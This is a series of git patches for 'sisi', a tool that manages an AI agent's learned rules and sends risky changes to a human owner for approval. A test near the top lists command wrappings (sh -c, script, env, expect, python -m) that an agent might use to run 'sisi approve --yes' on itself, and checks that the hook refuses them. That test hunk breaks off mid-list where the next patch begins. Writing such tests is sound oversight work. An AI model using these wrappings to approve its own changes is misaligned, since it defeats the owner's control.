test_learning_loop import Base, PROMOTE, FINDING, CAUSE, _contract @@ -130,3 +130,186 @@ class Replay(Base): r = self.apply([self.cmd_action("grep -q fixed f.txt")]) self.assertEqual(r.returncode, 0, r.stderr) self.assertEqual(self.rows()[0]["validation"]["result"], "validated") + + +def _shell_payload(cmd, sid="sess-hook"): + return {"hook_event_name": "PreToolUse", "tool_name": "Bash", "tool_input": {"command": cmd}, + "session_id": sid, "cwd": os.getcwd()} + + +class Approval(Base): + """R-11.5-11, R-14.3-2, R-16-11, R-16-8 (item 3): an agent cannot approve its own proposals.""" + + def park(self): + _contract(self) + self.git_init() + self.retro(*PROMOTE[1:]) + self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", + "cmd": "make deploy --force-everything"}]) + self.assertEqual(len(self.pending()), 1) + + def hook(self, cmd, sid="sess-hook"): + """Run the before-tool hook on a shell command. Returns the exit code the hook ends with.""" + import contextlib, io + from sisi import watch + try: + with contextlib.redirect_stderr(io.StringIO()): + watch.before(_shell_payload(cmd, sid)) + except SystemExit as e: + return e.code + return 0 + + def test_the_before_tool_hook_refuses_every_wrapping_of_approve(self): + """R-14.3-2 (item 3a): script, sh -c, env, expect, a path to the launcher and python -m sisi.""" + self.park() + wrapped = [ + 'script -qec "sisi approve P-0001 --yes" /dev/null Date: Mon, 23 Nov 2026 14:23:42 -0700 Subject: [PATCH 3/8] Items 4, 5, 9 (and the planner for 6, 7): backlog and pending-approval statuses, due counts only what a cycle can act on, cycle_notice switch deleted, duplicates refused, origin project is the main repository, repair on update, contract-requirement when must be evaluable. done / next: tests for 6, 7, 10; brief (8) Co-Authored-By: Claude Sonnet 5.5 --- sisi/cycle.py | 377 ++++++++++++++++++++++++++-------- sisi/helptext.py | 4 +- sisi/learning.py | 59 ++++-- sisi/lifecycle.py | 61 +++++- sisi/overlay.py | 27 +++ sisi/retro.py | 11 +- sisi/scorecard.py | 25 ++- tests/test_cycle_hardening.py | 237 ++++++++++++++++++++- tests/test_learning_loop.py | 113 ++++++---- 9 files changed, 753 insertions(+), 161 deletions(-) diff --git a/sisi/cycle.py b/sisi/cycle.py index 8806f04..49380cf 100644 --- a/sisi/cycle.py +++ b/sisi/cycle.py @@ -46,9 +46,9 @@ import copy, difflib, json, os, re, sys, time from . import documents, evaluate, learning as L, overlay, paths, pdata DUE_AFTER = 5 # proposed learnings waiting make a cycle due (a counter, checked in normal use) -MECHANISM_KINDS = ("contract-requirement", "command-check", "library", "rule-text", +MECHANISM_KINDS = ("contract-requirement", "command-check", "library", "rule-add", "rule-replace", "risk", "routing", "benchmark") -GLOBAL_KINDS = ("rule-text", "library") # they change what every project loads: reach is `user` +GLOBAL_KINDS = ("rule-add", "rule-replace", "library") # they change what every project loads: reach is `user` # What a cycle changes on a learning record; revert restores exactly these fields, so records # and findings written after the cycle survive a revert. CYCLE_FIELDS = ("status", "validation", "mechanism_ref", "mechanism_scope", "promoted_at", @@ -145,11 +145,21 @@ def load_enforced(project=None): return [c for c in checks if entry_applies(c, project, auth)] -def _requirement_met(c, entry): +def _requirement_met(c, entry, project=None): + """Does the contract meet this requirement? It applies only when its `when` triggers: a risk + profile (the contract declares that profile or a higher one) or a path glob (the unit changed a + path matching it). A `when` that is neither never triggers (free text nothing evaluates).""" + from . import risk want, when = entry.get("require_kind"), str(entry.get("when") or "") - w = L.stems(when) - trig = any(ch.get("kind") == when or (w & L.stems((ch.get("claim") or "") + " " + (ch.get("id") or ""))) - for ch in c.get("checks", []) if isinstance(ch, dict)) or bool(w & L.stems(c.get("goal") or "")) + if when in risk.PROFILES: + declared = (c.get("risk") or {}).get("profile") + trig = declared in risk.PROFILES and risk._ORDER[declared] >= risk._ORDER[when] + elif when_is_evaluable(when): + from . import verify as V + files = V.changed_paths(c, project) if project else None + trig = files is None or any(risk._glob_match(f, when) for f in files) + else: + trig = False if not trig: return True max_rung = entry.get("max_rung") @@ -171,7 +181,7 @@ def enforced_results(c, project, deadline=None, default_timeout=60): base = {"item": "enforced", "tier": "fast", "id": "enforced:learning-%s" % lid, "kind": None, "rung": None, "claim": "enforced learning %s" % lid, "duration_s": 0.0, "tail": ""} if e.get("type") == "contract-requirement": - if not _requirement_met(c, e): + if not _requirement_met(c, e, project): msg = ("enforced learning %s: a contract touching %r must contain a check of kind %s" % (lid, e.get("when"), e.get("require_kind"))) out.append(dict(base, status="failed", claim=msg, tail=msg)) @@ -188,10 +198,13 @@ def enforced_results(c, project, deadline=None, default_timeout=60): # ---- due-ness (a counter, checked during normal use) ---------------------------- def proposed(rows=None): + """The learnings a cycle can act on now: proposed, written by sisi's own commands, not a + subagent's candidate, and not a change to sisi itself (those are on the backlog and go out with + `sisi promote --export`). A learning waiting for the owner is `pending-approval`, not this.""" rows = L.load_learnings() if rows is None else rows ledger = L.load_ledger() return [r for r in rows if r.get("status") == "proposed" and not r.get("candidate") - and L.is_registered(r, ledger)] + and (r.get("proposed") or {}).get("mechanism") != "tool" and L.is_registered(r, ledger)] def due_notice(session=None): @@ -200,10 +213,7 @@ def due_notice(session=None): n = len(proposed()) fl = len(L.flagged()) lines = [] - # The user's config can silence the request to run a cycle (learning.cycle_notice: false). - from . import store - notice = (store.config().get("learning") or {}).get("cycle_notice", True) - if notice and (n >= DUE_AFTER or fl): + if n >= DUE_AFTER or fl: lines.append("sisi: a learning cycle is due (%d proposed learning(s)%s; `sisi cycle` prints the brief)" % (n, ", %d flagged not working" % fl if fl else "")) pend = L.pending_notice() @@ -280,7 +290,7 @@ def _need(cond, msg): def _text(a, key, rid): v = a.get(key) - _need(isinstance(v, str) and v.strip(), "%s for %s needs %s" % (a.get("mechanism_kind"), rid, key)) + _need(isinstance(v, str) and v.strip(), "%s for %s needs \"%s\": a non-empty string" % (a.get("mechanism_kind"), rid, key)) return v @@ -293,16 +303,97 @@ def _risk_lowers(pattern, profile): return risk._ORDER[profile] < risk._ORDER[cur] +def when_is_evaluable(when): + """A contract requirement's `when` must be something the code evaluates: a risk profile name (it + applies to a contract that declares that profile or a higher one) or a path glob (it applies to a + unit that changed a path matching it).""" + from . import risk + w = when if isinstance(when, str) else "" + return bool(w) and (w in risk.PROFILES or bool(re.search(r"[*?\[{/]", w)) + or bool(re.fullmatch(r"[\w.-]+\.[A-Za-z0-9]+", w))) + + +def _sentences(add, lid, key="add"): + """One or two plain sentences, checked; returns the cleaned text.""" + _need(isinstance(add, str) and add.strip(), "rule-add for %s needs \"%s\": one or two sentences" % (lid, key)) + t = " ".join(add.split()) + _need(len(t) <= 400 and not t.startswith(("#", "-", "*", ">", "|")) and "Why:" not in t, + "\"%s\" for %s must be one or two plain sentences (at most 400 characters, no heading, list marker " + "or `Why:`)" % (key, lid)) + n = len(re.findall(r"[.!?](?:\s|$)", t)) + _need(1 <= n <= 2 and t[-1] in ".!?", "\"%s\" for %s must be one or two sentences ending in . ! or ? (found %d)" + % (key, lid, n)) + _need(not L.is_generic(t), "\"%s\" for %s is generic advice; name the situation and what to do in it" % (key, lid)) + return t + + +def _shortens(a, lid, need): + """Adding to the rulebook must name what it shortens, or say that nothing can be.""" + v = a.get("shortens") + if not need and v is None: + return None + _need(isinstance(v, str) and len(v.split()) >= 3, + "this adds to the rulebook, so %s needs \"shortens\": name the rule id and the words it cuts, or start " + "with \"nothing:\" and say why nothing can be shortened" % lid) + rids = {x["id"] for x in overlay.effective()[1]} + ok = v.strip().lower().startswith("nothing") or any(r in v for r in rids) + _need(ok, "\"shortens\" for %s must name an existing rule id (the brief lists them) or start with \"nothing:\"" % lid) + return v.strip() + + +def _rule_known(): + return {x["id"] for x in overlay.base_rules()[1]} | set(overlay.overlay_rules()) + + +def _book_size(): + return overlay.size(overlay.render()) + + +def _plan_rule(kind, a, rec, virtual_rules, reasons, n): + lid = rec["id"] + rid = a.get("rule_id") + _need(isinstance(rid, str) and overlay.ID_OK.match(rid), "%s for %s needs \"rule_id\": the id the brief lists" % (kind, lid)) + _need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it" % rid) + in_force = {r["id"]: r for r in overlay.effective()[1]} + if kind == "rule-add": + _need(rid in in_force or rid in virtual_rules, "no rule %r to add to (the brief lists the ids)" % rid) + add = _sentences(a.get("add"), lid) + cur = virtual_rules.get(rid) or in_force[rid] + new = overlay.rule_with_added(rid, add, dict(cur, id=rid)) + n["rule_id"], n["add"] = rid, add + n["shortens"] = _shortens(a, lid, True) + if L.SCOPE_RANK[L.earned_scope(rec)] < L.SCOPE_RANK["user"]: + reasons.append("rule-add changes what every project loads, and learning %s has earned only its own " + "project" % lid) + else: + text = _text(a, "rule_text", lid) + new = documents.check_rule_text(text, rid) + existing = in_force.get(rid) + n["rule_id"], n["rule_text"] = rid, text + grows = existing is None or len(overlay.rule_text(new)) > len(overlay.rule_text(existing)) + n["shortens"] = _shortens(a, lid, grows) + reasons.append("%s %s the whole of rule %s; a whole-rule replacement always needs the owner" + % (kind, "replaces" if existing else "adds", rid)) + virtual_rules[rid] = new + before = _book_size() + ok, msg = documents.check_budgets(overlay.render_with(virtual_rules)) + _need(ok, "%s for %s breaks the rulebook budget: %s. Shorten another rule in the same file " + "(rule-replace with less text) or drop this one; nothing is applied" % (kind, lid, msg)) + n["size_before_after"] = [list(before), list(overlay.size(overlay.render_with(virtual_rules)))] + + def _plan_promote(a, rec, virtual_rules, run=True): """(normalized action, reasons that make it consequential, granted scope, replay).""" kind = a.get("mechanism_kind") lid = rec["id"] + _need(kind != "rule-text", "mechanism_kind rule-text is gone: use rule-add (one or two sentences added to a rule) " + "or rule-replace (the whole rule); %s" % lid) _need(kind in MECHANISM_KINDS, "mechanism_kind for %s must be one of %s" % (lid, "|".join(MECHANISM_KINDS))) _need(rec.get("proposed", {}).get("mechanism") != "tool", - "learning %s is a tool change to sisi itself; it goes to the backlog and the contribution " - "export (`sisi promote --export`), not a cycle mechanism" % lid) + "learning %s is a tool change to sisi itself; it is on the backlog and goes out with " + "`sisi promote --export`, not a cycle mechanism. Remove this action" % lid) _need(not rec.get("candidate"), "learning %s is a subagent candidate; a parent retro must adopt it first " - "(`sisi retro --adopt %s`)" % (lid, lid)) + "(`sisi retro --adopt %s`). Remove this action" % (lid, lid)) n = {"action": "promote", "learning": lid, "mechanism_kind": kind} reasons, replay = [], None earned = L.earned_scope(rec) @@ -313,11 +404,15 @@ def _plan_promote(a, rec, virtual_rules, run=True): if asked and L.SCOPE_RANK[asked] > L.SCOPE_RANK[base]: granted = asked reasons.append("the cycle asked for %s scope; learning %s has earned %s" % (asked, lid, earned)) - if kind in GLOBAL_KINDS and L.SCOPE_RANK[earned] < L.SCOPE_RANK["user"]: - reasons.append("%s changes what every project loads, and learning %s has earned only its own project" - % (kind, lid)) + if kind == "library" and L.SCOPE_RANK[earned] < L.SCOPE_RANK["user"]: + reasons.append("library changes what every project loads, and learning %s has earned only its own project" + % lid) elif kind not in GLOBAL_KINDS and L.SCOPE_RANK[granted] > L.SCOPE_RANK[earned]: reasons.append("wider than learning %s has earned (%s)" % (lid, earned)) + proj = rec.get("origin_project") + if kind not in GLOBAL_KINDS and not (proj and os.path.isdir(proj)): + reasons.append("the origin project %s no longer exists on disk, so nothing can show this mechanism " + "works there" % proj) if kind == "command-check": n["cmd"] = _text(a, "cmd", lid).strip() @@ -325,7 +420,7 @@ def _plan_promote(a, rec, virtual_rules, run=True): n["expect"] = {"exit": exp.get("exit", 0)} if a.get("timeout_s") is not None: _need(isinstance(a["timeout_s"], (int, float)) and 0 < a["timeout_s"] <= 600, - "timeout_s for %s must be between 0 and 600" % lid) + "timeout_s for %s must be a number between 0 and 600" % lid) n["timeout_s"] = a["timeout_s"] replay = replay_validate(rec, n, run) _need(replay[0] != "vacuous", "command check for %s is vacuous: %s. Write a command that reads a path " @@ -336,23 +431,19 @@ def _plan_promote(a, rec, virtual_rules, run=True): if L.SCOPE_RANK[granted] > 0: reasons.append("an enforced command that would run outside the origin project") elif kind == "contract-requirement": - n["when"], n["require_kind"] = _text(a, "when", lid), _text(a, "require_kind", lid) + n["when"], n["require_kind"] = _text(a, "when", lid).strip(), _text(a, "require_kind", lid) + from . import contract as _contract + _need(when_is_evaluable(n["when"]), + "\"when\" for %s (%r) is not something the code evaluates. Use a risk profile (%s) or a path glob " + "such as src/auth/** or *.sql" % (lid, n["when"], "|".join(_profiles()))) + _need(n["require_kind"] in _contract.KINDS, "require_kind for %s must be one of %s" + % (lid, "|".join(_contract.KINDS))) if a.get("max_rung") is not None: - _need(isinstance(a["max_rung"], int), "max_rung for %s must be an integer" % lid) + _need(isinstance(a["max_rung"], int) and not isinstance(a["max_rung"], bool), + "max_rung for %s must be an integer" % lid) n["max_rung"] = a["max_rung"] - elif kind == "rule-text": - rid = a.get("rule_id") - _need(isinstance(rid, str) and overlay.ID_OK.match(rid), "rule-text for %s needs a plain rule_id" % lid) - _need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it" % rid) - text = _text(a, "rule_text", lid) - parsed = documents.check_rule_text(text, rid) - known = {x["id"] for x in overlay.base_rules()[1]} | set(overlay.overlay_rules()) - if rid in known or rid in virtual_rules: - reasons.append("replaces the existing rule %s" % rid) - virtual_rules[rid] = parsed - ok, msg = documents.check_budgets(overlay.render_with(virtual_rules)) - _need(ok, "rule-text for %s breaks the rulebook budget: %s; nothing is applied" % (lid, msg)) - n["rule_id"], n["rule_text"] = rid, text + elif kind in ("rule-add", "rule-replace"): + _plan_rule(kind, a, rec, virtual_rules, reasons, n) elif kind == "library": _need(a.get("library_kind") in ("recipe", "verifier"), "library for %s needs library_kind recipe|verifier and entry_text" % lid) n["library_kind"], n["entry_text"] = a["library_kind"], _text(a, "entry_text", lid) @@ -384,47 +475,106 @@ def _plan_promote(a, rec, virtual_rules, run=True): return n, reasons, granted, replay +def _profiles(): + from . import risk + return risk.PROFILES + + +def _waiting(): + """(learning ids with a pending decision, rule ids with a pending change), from the pending list.""" + lids, rids = {}, {} + for i in L.load_pending(): + a = i.get("action") or {} + if i.get("learning"): + lids[i["learning"]] = i["id"] + if a.get("rule_id"): + rids[a["rule_id"]] = i["id"] + return lids, rids + + def validate_doc(doc, rows, run=True): - """Every refusal is raised before anything is applied. Returns the plan: a list of - {"kind": status|promote|disable-rule, "action", "rec", "pending", "reasons", "scope", "replay"}.""" + """Every problem in the file is found and reported together, each with how to fix it; nothing + is applied unless the file has none. Returns the plan: a list of {"kind": status|merge|promote| + disable-rule, "action", "rec", "pending", "reasons", "scope", "replay"}.""" if not isinstance(doc, dict) or not isinstance(doc.get("actions"), list) or not doc["actions"]: - raise CycleError("the cycle file must be JSON with a non-empty \"actions\" list") - base = doc.get("base") - if base != L.store_base(rows): - raise CycleError("stale base: the cycle was written against %r but the store is at %r; " - "take a fresh brief (`sisi cycle`)" % (base, L.store_base(rows))) + raise CycleError("the cycle file must be a JSON object with a non-empty \"actions\" list") + problems = [] + if doc.get("base") != L.store_base(rows): + problems.append("stale or missing \"base\": the file says %r but the store is at %r; copy the base from a " + "fresh brief (`sisi cycle`)" % (doc.get("base"), L.store_base(rows))) ledger = L.load_ledger() - plan, acted, virtual = [], set(), {} - for a in doc["actions"]: - _need(isinstance(a, dict), "every action must be an object") - act = a.get("action") - if act == "disable-rule": - rid = a.get("rule_id") - _need(isinstance(rid, str) and rid, "disable-rule needs a rule_id") - _need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it" % rid) - known = {x["id"] for x in overlay.base_rules()[1]} | set(overlay.overlay_rules()) - _need(rid in known, "no rule %r" % rid) - plan.append({"kind": "disable-rule", "action": {"action": "disable-rule", "rule_id": rid}, - "rec": None, "pending": True, "scope": None, "replay": None, - "reasons": ["disables the rule %s" % rid]}) - continue - rec = L.get(rows, a.get("learning") or "") - _need(rec is not None, "no learning %r" % a.get("learning")) - _need(L.is_registered(rec, ledger), "learning %s was not written by sisi's own commands " - "(added or edited by hand); a cycle does not act on it" % rec["id"]) - acted.add(rec["id"]) - if act in ("revise", "revert", "reject"): - _need((a.get("why") or "").strip(), "%s of %s needs a why" % (act, rec["id"])) - plan.append({"kind": "status", "action": {"action": act, "learning": rec["id"], "why": a["why"]}, - "rec": rec, "pending": False, "scope": None, "replay": None, "reasons": []}) - continue - _need(act == "promote", "unknown action %r" % act) - n, reasons, granted, replay = _plan_promote(a, rec, virtual, run) - plan.append({"kind": "promote", "action": n, "rec": rec, "pending": bool(reasons), - "scope": granted, "replay": replay, "reasons": reasons}) + wait_l, wait_r = _waiting() + plan, acted, virtual, ruled = [], set(), {}, set() + for i, a in enumerate(doc["actions"], 1): + who = "action %d" % i + try: + _need(isinstance(a, dict), "every action must be a JSON object") + act = a.get("action") + if act == "disable-rule": + rid = a.get("rule_id") + who += " (disable-rule %s)" % rid + _need(isinstance(rid, str) and rid, "disable-rule needs \"rule_id\"") + _need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it" % rid) + _need(rid in _rule_known(), "no rule %r (the brief lists the ids)" % rid) + _need(rid not in wait_r and rid not in ruled, "rule %s already has a change %s; wait for the " + "owner's decision" % (rid, "waiting (%s)" % wait_r[rid] if rid in wait_r else "in this file")) + ruled.add(rid) + plan.append({"kind": "disable-rule", "action": {"action": "disable-rule", "rule_id": rid}, + "rec": None, "pending": True, "scope": None, "replay": None, + "reasons": ["disables the rule %s" % rid]}) + continue + lid = a.get("learning") + who += " (%s)" % lid + rec = L.get(rows, lid or "") + _need(rec is not None, "no learning %r (use the ids the brief lists)" % lid) + _need(L.is_registered(rec, ledger), "learning %s was not written by sisi's own commands " + "(added or edited by hand); a cycle does not act on it" % rec["id"]) + _need(rec["id"] not in acted, "learning %s is acted on twice in this file; one action per learning" % rec["id"]) + acted.add(rec["id"]) + if act in ("revise", "revert", "reject"): + why = a.get("why") + _need(isinstance(why, str) and why.strip(), "%s of %s needs \"why\"" % (act, rec["id"])) + _need(act != "reject" or not L.is_generic(why), + "the reason for rejecting %s is generic; say what is wrong with it (the evidence, a path, a " + "number), or merge it into the learning it repeats" % rec["id"]) + plan.append({"kind": "status", "action": {"action": act, "learning": rec["id"], "why": why}, + "rec": rec, "pending": False, "scope": None, "replay": None, "reasons": []}) + continue + if act == "merge": + into = L.get(rows, a.get("into") or "") + _need(into is not None and into["id"] != rec["id"], + "merge of %s needs \"into\": the id of a different learning" % rec["id"]) + _need(into.get("status") not in L.ENDED and L.is_registered(into, ledger), + "learning %s cannot take a merge (ended, or not written by sisi's own commands)" % into["id"]) + shared = set(rec.get("terms") or []) & set(into.get("terms") or []) + _need(len(shared) >= 2, "%s and %s share too little (%d term(s)) to be the same learning; reject %s " + "with a specific reason instead" % (rec["id"], into["id"], len(shared), rec["id"])) + plan.append({"kind": "merge", "action": {"action": "merge", "learning": rec["id"], "into": into["id"], + "why": str(a.get("why") or "")}, + "rec": rec, "pending": False, "scope": None, "replay": None, "reasons": []}) + continue + _need(act == "promote", "unknown action %r: use promote, revise, revert, reject, merge or disable-rule" % act) + _need(rec["id"] not in wait_l, "learning %s already waits for the owner (%s); it cannot be promoted " + "again until that is decided" % (rec["id"], wait_l.get(rec["id"]))) + rid = a.get("rule_id") if a.get("mechanism_kind") in ("rule-add", "rule-replace") else None + if rid: + _need(rid not in wait_r and rid not in ruled, + "rule %s already has a change %s; a second one waits until that is decided" % + (rid, "waiting (%s)" % wait_r[rid] if rid in wait_r else "in this file")) + n, reasons, granted, replay = _plan_promote(a, rec, virtual, run) + if rid: + ruled.add(rid) + plan.append({"kind": "promote", "action": n, "rec": rec, "pending": bool(reasons), + "scope": granted, "replay": replay, "reasons": reasons}) + except (CycleError, overlay.OverlayError, documents.DocumentError) as e: + problems.append("%s: %s" % (who, e)) ignored = [r["id"] for r in L.flagged(rows) if r["id"] not in acted] - _need(not ignored, "this cycle ignores learning(s) flagged not working: %s; " - "revise or revert each one" % ", ".join(ignored)) + if ignored: + problems.append("flagged-not-working learning(s) %s are not acted on: add a revise or revert action for " + "each" % ", ".join(ignored)) + if problems: + raise CycleError("the cycle file has %d problem(s); nothing is applied:\n%s" % ( + len(problems), "\n".join(" %d. %s" % (n, p) for n, p in enumerate(problems, 1)))) return plan @@ -464,16 +614,27 @@ def _apply_mechanism(a, rec, granted, approval=None): "max_rung": a.get("max_rung")}, rec, granted, approval)) _put_json("enforced.json", d, "cycle: enforced contract requirement for %s" % lid) return "enforced contract requirement" - if kind == "rule-text": + if kind in ("rule-add", "rule-replace"): rid = a["rule_id"] - known = {x["id"] for x in overlay.base_rules()[1]} | set(overlay.overlay_rules()) - if rid in known: - overlay.replace_rule(rid, a["rule_text"]) + lines0, chars0 = _book_size() + in_force = {r["id"]: r for r in overlay.effective()[1]} + if kind == "rule-add": + cur = in_force.get(rid) + if cur is None: + raise CycleError("rule %r no longer exists" % rid) + new = overlay.rule_with_added(rid, a["add"], cur) + text = overlay.rule_text(new) else: - overlay.add_rule(a["rule_text"], rid) + text = a["rule_text"] + if rid in in_force: + overlay.replace_rule(rid, text) + else: + overlay.add_rule(text, rid) overlay.build_canon() + lines1, chars1 = _book_size() rec.setdefault("proposed", {})["target"] = rec.get("proposed", {}).get("target") or rid - return "rule %s" % rid + return "rule %s (%s; the loaded rulebook went from %d to %d lines, %d to %d characters)" % ( + rid, "sentence(s) added" if kind == "rule-add" else "replaced", lines0, lines1, chars0, chars1) if kind == "library": eid = overlay.put_entry(a["library_kind"], a["entry_text"], a.get("entry_id"), replacing=bool(a.get("replacing"))) @@ -514,6 +675,17 @@ def _promoted(rec, ref, granted, replay): return "%s promoted as %s: %s (%s)" % (rec["id"], result, ref, detail) +def _apply_merge(a, rec, rows): + into = L.get(rows, a["into"]) + rec["status"] = "merged" + rec["merged_into"] = into["id"] + rec["flagged_not_working"] = False + rec.setdefault("history", []).append({"ts": L.now(), "action": "merge", "into": into["id"], + "why": L.scrub_secrets(a.get("why", ""))}) + into.setdefault("history", []).append({"ts": L.now(), "action": "absorbed", "learning": rec["id"]}) + return "%s merged into %s" % (rec["id"], into["id"]), into + + def _apply_status(a, rec): act = a["action"] rec["status"] = {"revise": "revised", "revert": "reverted", "reject": "rejected"}[act] @@ -637,6 +809,10 @@ def apply_file(path): if p["kind"] == "status": lines.append(_apply_status(a, rec)) touched.append(rec["id"]) + elif p["kind"] == "merge": + text, into = _apply_merge(a, rec, rows) + lines.append(text) + touched += [rec["id"], into["id"]] elif p["kind"] == "promote" and not p["pending"]: ref = _apply_mechanism(a, rec, p["scope"]) lines.append(_promoted(rec, ref, p["scope"], p["replay"])) @@ -647,8 +823,8 @@ def apply_file(path): if p["replay"] and p["replay"][0] == "validated": rec["validation"].update(result="validated", detail=p["replay"][1], method=rec["validation"].get("method") or "replay") - if rec.get("status") in ("observed", "analyzed", "proposed", "implemented"): - rec["status"] = "validated" + if rec.get("status") not in L.ENDED: + rec["status"] = "pending-approval" touched.append(rec["id"]) lines.append("%s waits for the owner (%s): `sisi approve` lists it, the owner decides with " "`sisi approve %s --yes|--no`" % (rec["id"] if rec else a.get("rule_id"), @@ -699,6 +875,11 @@ def revert_cycle(cid=None): r.pop(k, None) r.setdefault("history", []).append({"ts": L.now(), "action": "cycle-reverted", "cycle": rec["id"]}) touched.append(r) + dropped = set(rec.get("pending_added") or []) + pending_for = {i.get("learning") for i in L.load_pending() if i.get("learning") and i.get("id") not in dropped} + for r in touched: + if r.get("status") == "pending-approval" and r["id"] not in pending_for: + r["status"] = "proposed" # the decision it waited for is gone: it can be proposed again if touched: L.save_learnings(rows, "revert %s: learning records restored" % rec["id"], touched=touched, via="cycle") gone = set(rec.get("pending_added") or []) @@ -804,6 +985,15 @@ def relay_allowed(): return False +def _rule_after(a): + """(rule id, the parsed rule as the action would leave it) for a rule action, against the rule in force.""" + rid = a.get("rule_id") + if a.get("mechanism_kind") == "rule-add": + cur = next((r for r in overlay.effective()[1] if r["id"] == rid), None) + return rid, overlay.rule_with_added(rid, a["add"], cur) + return rid, overlay.parse_rule_file(a["rule_text"], rid) + + def describe_pending(item): """The full action, in words and text, so the owner can see exactly what is approved.""" a = item.get("action") or {} @@ -834,17 +1024,23 @@ def describe_pending(item): out.append(" %s %s (%s):" % (a.get("library_kind"), a.get("entry_id") or "(id from its header)", "replaces the existing entry" if a.get("replacing") else "new")) out += [" | " + l for l in str(a.get("entry_text") or "").splitlines()[:60]] - if kind == "rule-text" or a.get("action") == "replace-rule": - rid, new = a.get("rule_id"), a.get("rule_text") or "" + if kind in ("rule-add", "rule-replace") or a.get("action") == "replace-rule": + rid = a.get("rule_id") cur = next((r for r in overlay.effective()[1] if r["id"] == rid), None) out.append(" rule %s: %s" % (rid, "text diff against the rule in force" if cur else "new rule")) + if a.get("shortens"): + out.append(" what it shortens: %s" % a["shortens"]) old_text = overlay.rule_text(cur).splitlines() if cur else [] try: - new_text = overlay.rule_text(overlay.parse_rule_file(new, rid)).splitlines() + new_text = overlay.rule_text(_rule_after(a)[1]).splitlines() except Exception: - new_text = new.splitlines() + new_text = str(a.get("add") or a.get("rule_text") or "").splitlines() diff = list(difflib.unified_diff(old_text, new_text, "in force", "proposed", lineterm="")) out += [" " + l for l in (diff if cur else ["+ " + l for l in new_text])] + sz = a.get("size_before_after") + if sz: + out.append(" loaded rulebook when planned: %d -> %d lines, %d -> %d characters" + % (sz[0][0], sz[1][0], sz[0][1], sz[1][1])) if a.get("action") == "disable-rule": out.append(" switches off the rule %s" % a.get("rule_id")) out.append(" scope it would take effect in: %s" % (item.get("scope") or "all projects (a rule change)")) @@ -870,6 +1066,12 @@ def apply_pending(pid, yes, how=None): if not yes: L.record_approval(row) L.save_pending(left, "approve: %s refused by the owner" % pid) + rows = L.load_learnings() + rec = L.get(rows, item.get("learning") or "") + if rec is not None and rec.get("status") == "pending-approval": + rec["status"] = "rejected" # the owner said no: it is not proposed again + rec.setdefault("history", []).append({"ts": L.now(), "action": "owner-declined", "pending": pid}) + L.save_learnings(rows, "approve: %s refused; %s rejected" % (pid, rec["id"]), touched=[rec], via="cycle") return "%s refused; nothing changed" % pid a = item["action"] @@ -890,11 +1092,12 @@ def apply_pending(pid, yes, how=None): rec = L.get(rows, a.get("learning") or "") _need(rec is not None and rec.get("status") not in L.ENDED, "learning %r no longer exists" % a.get("learning")) _need(L.is_registered(rec), "learning %s was changed outside sisi's own commands" % rec["id"]) - if a.get("mechanism_kind") == "rule-text": + if a.get("mechanism_kind") in ("rule-add", "rule-replace"): rid = a["rule_id"] _need(rid not in protected_rules(), "rule %r is protected; even approval cannot change it by cycle" % rid) - ok, msg = documents.check_budgets(overlay.render_with({rid: documents.check_rule_text(a["rule_text"], rid)})) - _need(ok, "rule-text for %s breaks the rulebook budget: %s" % (rec["id"], msg)) + new = _rule_after(a)[1] + ok, msg = documents.check_budgets(overlay.render_with({rid: new})) + _need(ok, "%s for %s breaks the rulebook budget: %s" % (a["mechanism_kind"], rec["id"], msg)) replay = tuple(item["replay"]) if item.get("replay") else None ref = _apply_mechanism(a, rec, item.get("scope") or "project", approval=pid) lines.append(_promoted(rec, ref, item.get("scope") or "project", replay) + " (approved)") diff --git a/sisi/helptext.py b/sisi/helptext.py index 58568b2..d9df6be 100644 --- a/sisi/helptext.py +++ b/sisi/helptext.py @@ -21,14 +21,14 @@ LONG = { 'export': ' sisi export [PATH] | import PATH one tar.gz of personal data, results and session records; restore it', 'overlay': ' sisi overlay list|diff|add-rule|replace-rule|disable-rule|enable-rule|add-verifier|...|revert COMMIT\n learned changes to rules, verifiers and recipes; each one a commit in your personal repo', 'retro': " sisi retro print the unit's record and what stands out in it\n sisi retro --finding F --cause C --impact value|correctness|time|cost|attention --disposition promote|record|drop [--same-as ID | --new] [--target ID]\n record one finding; promote also needs --change, --mechanism,\n --expect and --validate; record needs --limits; drop needs --why-not;\n a match in scope is printed and attached as a recurrence (--new records\n a learning of its own); --target names the rule or recipe it concerns\n sisi retro --adopt ID a parent adopts a subagent's candidate learning, by id", - 'lessons': ' sisi lessons [--json] | show ID the learning records and their statuses', + 'lessons': ' sisi lessons [--json] | ID the learning records and their statuses; with an id (L-0007): that one learning in full', 'cycle': ' sisi cycle [due|apply FILE|check FILE|revert [ID]|help]\n turn proposed learnings into mechanisms (no scheduler:\n due-ness is a counter); apply validates and replays before\n promoting; help prints the cycle file format', 'approve': " sisi approve [ID --yes|--no] list, in full, the consequential changes waiting for the owner; decide one\n (in a terminal: an agent's --yes without one is refused)", 'learn': ' sisi learn [--scope user|project] TEXT\n record an owner statement; it takes effect at once and\n `sisi oracle` prints it. Scope for other learnings is\n earned by evidence, never claimed\n sisi learn --withdraw ID --reason WHY\n take a statement recorded by mistake out of delivery (kept in history)', 'risk': ' sisi risk [--json] risk floor for the working-tree change, with reasons and\n what that profile requires', 'handover': " sisi handover [--all] | done ID --where PATH [--quote FRAGMENT]\n project-scope learnings waiting to be filed in this project's own docs or\n work list; done confirms one is filed (the named file must contain\n its key text) and removes it from the list", 'oracle': ' sisi oracle print what the human wants: the standing principles from\n `sisi learn`, live at once (project-scoped ones only in their project)', - 'status': ' sisi status [--json] [--learning] recent units with their scorecards, then trends by project, risk profile, model and policy version (median and p95; no single score)', + 'status': ' sisi status [--json] [--learning] recent units with their scorecards, then trends by project, risk profile, model and policy version (median and p95; no single score); --learning prints only the learning report', 'verifiers': ' sisi verifiers [WORDS] [--lang L] [--kind K] [--rung N] [--section S] [--installed] [--json]\n list ways to know work is correct, by section\n sisi verifiers show ID [--trace] one entry in full, and whether its tool is installed here; --trace also prints where each folded lesson lives in it\n sisi verifiers for "" best-matching verifiers for a claim or piece of work\n sisi verifiers doctor | lint which tools are installed; validate the library', 'done': ' sisi done [ID] [--trace] recipes: which checks make a kind of work done; --trace also prints where each folded lesson lives in the recipe\n sisi done for "" best-matching recipe', 